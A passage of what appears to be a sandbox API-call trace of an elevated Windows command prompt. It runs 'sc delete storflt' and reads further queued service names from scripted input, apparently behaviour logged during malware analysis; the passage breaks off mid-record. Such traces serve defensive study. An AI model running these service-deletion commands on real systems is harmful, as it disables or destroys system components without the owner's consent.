lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0068.274] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0068.274] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0068.274] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0068.274] GetConsoleTitleW (in: lpConsoleTitle=0x2cef20, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0068.275] GetProcessHeap () returned 0x4a0000 [0068.275] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x21c) returned 0x4bba90 [0068.275] GetConsoleTitleW (in: lpConsoleTitle=0x4bbaa0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0068.275] GetProcessHeap () returned 0x4a0000 [0068.275] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4bba90, Size=0x9c) returned 0x4bba90 [0068.275] GetProcessHeap () returned 0x4a0000 [0068.275] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4bba90) returned 0x9c [0068.275] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete storflt") returned 1 [0068.275] GetProcessHeap () returned 0x4a0000 [0068.275] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba90 | out: hHeap=0x4a0000) returned 1 [0068.275] InitializeProcThreadAttributeList (in: lpAttributeList=0x2cecd8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2cec98 | out: lpAttributeList=0x2cecd8, lpSize=0x2cec98) returned 1 [0068.275] UpdateProcThreadAttribute (in: lpAttributeList=0x2cecd8, dwFlags=0x0, Attribute=0x60001, lpValue=0x2cec88, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2cecd8, lpPreviousValue=0x0) returned 1 [0068.276] GetStartupInfoW (in: lpStartupInfo=0x2cedf0 | out: lpStartupInfo=0x2cedf0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0068.276] GetProcessHeap () returned 0x4a0000 [0068.276] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x20) returned 0x4b4610 [0068.276] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0068.276] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0068.276] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0068.276] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0068.276] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0068.276] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0068.276] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0068.276] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0068.276] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0068.276] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0068.276] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0068.276] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0068.276] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0068.276] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0068.276] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0068.276] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0068.276] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0068.276] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0068.276] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0068.276] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0068.276] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0068.277] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0068.277] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0068.277] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0068.277] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0068.277] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0068.277] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0068.277] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0068.277] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0068.277] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0068.277] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0068.277] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0068.277] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0068.277] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0068.277] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0068.277] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0068.277] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0068.277] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0068.277] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0068.277] GetProcessHeap () returned 0x4a0000 [0068.277] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4610 | out: hHeap=0x4a0000) returned 1 [0068.277] GetProcessHeap () returned 0x4a0000 [0068.277] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x12) returned 0x4b98a0 [0068.278] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete storflt", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x2ced10*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete storflt", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2cecc0 | out: lpCommandLine="sc delete storflt", lpProcessInformation=0x2cecc0*(hProcess=0x50, hThread=0x54, dwProcessId=0x644, dwThreadId=0x804)) returned 1 [0068.281] CloseHandle (hObject=0x54) returned 1 [0068.281] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0068.282] GetProcessHeap () returned 0x4a0000 [0068.282] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b8980 | out: hHeap=0x4a0000) returned 1 [0068.282] GetEnvironmentStringsW () returned 0x4b8980* [0068.282] GetProcessHeap () returned 0x4a0000 [0068.282] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba90 [0068.282] FreeEnvironmentStringsW (penv=0x4b8980) returned 1 [0068.282] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x2ce5c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2ce5c8, ReturnLength=0x0) returned 0x0 [0068.282] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffdb000, lpBuffer=0x2ce600, nSize=0x380, lpNumberOfBytesRead=0x2ce5c0 | out: lpBuffer=0x2ce600*, lpNumberOfBytesRead=0x2ce5c0*=0x380) returned 1 [0068.282] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0068.435] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x2cec08 | out: lpExitCode=0x2cec08*=0x0) returned 1 [0068.435] CloseHandle (hObject=0x50) returned 1 [0068.435] _vsnwprintf (in: _Buffer=0x2cee78, _BufferCount=0x13, _Format="%08X", _ArgList=0x2cec18 | out: _Buffer="00000000") returned 8 [0068.435] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0068.435] GetProcessHeap () returned 0x4a0000 [0068.435] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba90 | out: hHeap=0x4a0000) returned 1 [0068.435] GetEnvironmentStringsW () returned 0x4b8980* [0068.435] GetProcessHeap () returned 0x4a0000 [0068.435] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba90 [0068.435] FreeEnvironmentStringsW (penv=0x4b8980) returned 1 [0068.435] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0068.435] GetProcessHeap () returned 0x4a0000 [0068.435] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba90 | out: hHeap=0x4a0000) returned 1 [0068.435] GetEnvironmentStringsW () returned 0x4b8980* [0068.435] GetProcessHeap () returned 0x4a0000 [0068.435] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba90 [0068.435] FreeEnvironmentStringsW (penv=0x4b8980) returned 1 [0068.435] GetProcessHeap () returned 0x4a0000 [0068.435] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b98a0 | out: hHeap=0x4a0000) returned 1 [0068.435] DeleteProcThreadAttributeList (in: lpAttributeList=0x2cecd8 | out: lpAttributeList=0x2cecd8) [0068.435] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0068.436] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.436] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0068.436] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.436] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a06e194 | out: lpMode=0x4a06e194) returned 0 [0068.436] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.436] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a06e198 | out: lpMode=0x4a06e198) returned 0 [0068.436] GetConsoleOutputCP () returned 0x1b5 [0068.437] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0068.437] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0068.437] GetProcessHeap () returned 0x4a0000 [0068.437] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9b30 | out: hHeap=0x4a0000) returned 1 [0068.437] GetProcessHeap () returned 0x4a0000 [0068.437] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4a1ab0 | out: hHeap=0x4a0000) returned 1 [0068.437] GetProcessHeap () returned 0x4a0000 [0068.437] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9db0 | out: hHeap=0x4a0000) returned 1 [0068.437] GetProcessHeap () returned 0x4a0000 [0068.437] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0068.437] GetProcessHeap () returned 0x4a0000 [0068.438] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b6550 | out: hHeap=0x4a0000) returned 1 [0068.438] GetProcessHeap () returned 0x4a0000 [0068.438] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9910 | out: hHeap=0x4a0000) returned 1 [0068.438] GetProcessHeap () returned 0x4a0000 [0068.438] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b6510 | out: hHeap=0x4a0000) returned 1 [0068.438] GetProcessHeap () returned 0x4a0000 [0068.438] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b8900 | out: hHeap=0x4a0000) returned 1 [0068.438] GetProcessHeap () returned 0x4a0000 [0068.438] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b97e0 | out: hHeap=0x4a0000) returned 1 [0068.438] _vsnwprintf (in: _Buffer=0x4a086340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2cf138 | out: _Buffer="\r\n") returned 2 [0068.438] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.438] GetFileType (hFile=0x120) returned 0x3 [0068.438] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.438] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0068.438] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2cf108, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf108*=0x2, lpOverlapped=0x0) returned 1 [0068.438] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0068.438] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a07c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0068.438] _vsnwprintf (in: _Buffer=0x4a06eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2cf148 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0068.438] _vsnwprintf (in: _Buffer=0x4a06ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x2cf148 | out: _Buffer=">") returned 1 [0068.438] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.438] GetFileType (hFile=0x120) returned 0x3 [0068.438] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.438] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0068.438] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x2cf138, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf138*=0x26, lpOverlapped=0x0) returned 1 [0068.439] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.439] GetFileType (hFile=0xb8) returned 0x3 [0068.439] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.439] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.439] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.439] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e320, cchWideChar=1 | out: lpWideCharStr="sc delete storflt\ntbeat\nface\n") returned 1 [0068.439] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.439] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.439] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.439] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e322, cchWideChar=1 | out: lpWideCharStr="c delete storflt\ntbeat\nface\n") returned 1 [0068.439] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.439] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.439] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.439] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e324, cchWideChar=1 | out: lpWideCharStr=" delete storflt\ntbeat\nface\n") returned 1 [0068.439] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.439] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.439] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.439] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e326, cchWideChar=1 | out: lpWideCharStr="delete storflt\ntbeat\nface\n") returned 1 [0068.439] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.439] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.439] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.439] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e328, cchWideChar=1 | out: lpWideCharStr="elete storflt\ntbeat\nface\n") returned 1 [0068.439] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.439] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.440] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.440] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32a, cchWideChar=1 | out: lpWideCharStr="lete storflt\ntbeat\nface\n") returned 1 [0068.440] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.440] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.440] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.440] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32c, cchWideChar=1 | out: lpWideCharStr="ete storflt\ntbeat\nface\n") returned 1 [0068.440] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.440] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.440] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.440] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32e, cchWideChar=1 | out: lpWideCharStr="te storflt\ntbeat\nface\n") returned 1 [0068.440] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.440] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.440] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.440] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e330, cchWideChar=1 | out: lpWideCharStr="e storflt\ntbeat\nface\n") returned 1 [0068.440] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.440] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.440] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.440] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e332, cchWideChar=1 | out: lpWideCharStr=" storflt\ntbeat\nface\n") returned 1 [0068.440] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.440] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.440] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.440] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e334, cchWideChar=1 | out: lpWideCharStr="vtorflt\ntbeat\nface\n") returned 1 [0068.440] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.440] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.440] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.440] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e336, cchWideChar=1 | out: lpWideCharStr="morflt\ntbeat\nface\n") returned 1 [0068.441] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.441] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.441] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.441] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e338, cchWideChar=1 | out: lpWideCharStr="irflt\ntbeat\nface\n") returned 1 [0068.441] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.441] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.441] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.441] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33a, cchWideChar=1 | out: lpWideCharStr="cflt\ntbeat\nface\n") returned 1 [0068.441] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.441] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.441] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.441] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33c, cchWideChar=1 | out: lpWideCharStr="tlt\ntbeat\nface\n") returned 1 [0068.441] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.441] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.441] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.441] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33e, cchWideChar=1 | out: lpWideCharStr="it\ntbeat\nface\n") returned 1 [0068.441] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.441] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.441] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.441] MultiByteToWideChar (in: CodePage=0x1b5, 